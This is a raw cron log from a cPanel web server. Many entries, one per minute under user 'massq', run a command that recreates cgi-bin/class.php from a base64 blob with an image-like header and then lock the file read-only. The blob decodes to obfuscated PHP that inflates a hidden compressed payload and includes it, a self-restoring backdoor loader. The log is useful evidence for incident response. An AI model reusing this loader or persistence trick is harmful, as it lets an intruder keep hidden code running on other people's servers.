Nov 15 07:53:01 server CROND[4267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:54:01 server CROND[4626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:55:01 server CROND[4914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:55:01 server CROND[4916]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:55:01 server CROND[4917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 07:56:01 server CROND[5216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:57:01 server CROND[5489]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 07:57:01 server CROND[5490]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:58:01 server CROND[5749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:59:01 server CROND[6102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:00:01 server CROND[6377]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 08:00:01 server CROND[6378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:00:01 server CROND[6379]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Nov 15 08:00:01 server CROND[6385]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 08:00:01 server CROND[6383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:00:01 server CROND[6384]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:01:01 server CROND[6726]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 08:01:01 server run-parts(/etc/cron.hourly)[6726]: starting 0anacron
Nov 15 08:01:01 server CROND[6733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:01:01 server run-parts(/etc/cron.hourly)[6740]: finished 0anacron
Nov 15 08:02:01 server CROND[7001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:03:01 server CROND[7260]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:04:01 server CROND[7671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 08:05:01 server CROND[7946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 08:05:01 server CROND[7947]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 08:05:01 server CROND[7949]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 08:05:01 server CROND[7951]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 08:05:01 server CROND[7950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1